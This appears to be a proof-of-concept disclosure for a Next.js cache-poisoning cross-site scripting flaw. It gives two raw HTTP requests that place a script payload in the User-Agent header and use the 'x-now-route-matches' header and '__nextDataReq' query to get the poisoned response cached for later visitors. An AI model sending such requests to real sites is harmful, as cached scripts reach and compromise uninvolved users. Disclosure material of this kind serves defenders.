- Install Node.js LTS
npm installnpm run buildnpm run start
- Send the following HTTP request (Attack Request) using any HTTP client.
GET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Visit http://localhost:3000 (Normal Request) using any Web Browser.

- Send the following HTTP request (Attack Request) using any HTTP client, make sure to replace "UiKoKFFGnF1td3mMyeDX5" with your ".next/BUILD_ID"

GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Visit http://localhost:3000 (Normal Request) using any Web Browser.

-
x-now-route-matchesis a custom HTTP header recognized by Next.js. When present, Next.js will treat the HTTP Request as "SSG" (Static Site Generation), which the HTTP Response can be cached (Cache-Control: s-maxage=1, stale-while-revalidate). -
?__nextDataReq=1is a querystring recognized by Next.js. When present, Next.js will treat the HTTP Request as "Retrieving__NEXT_DATA__".
Full writeup can be found in Credit section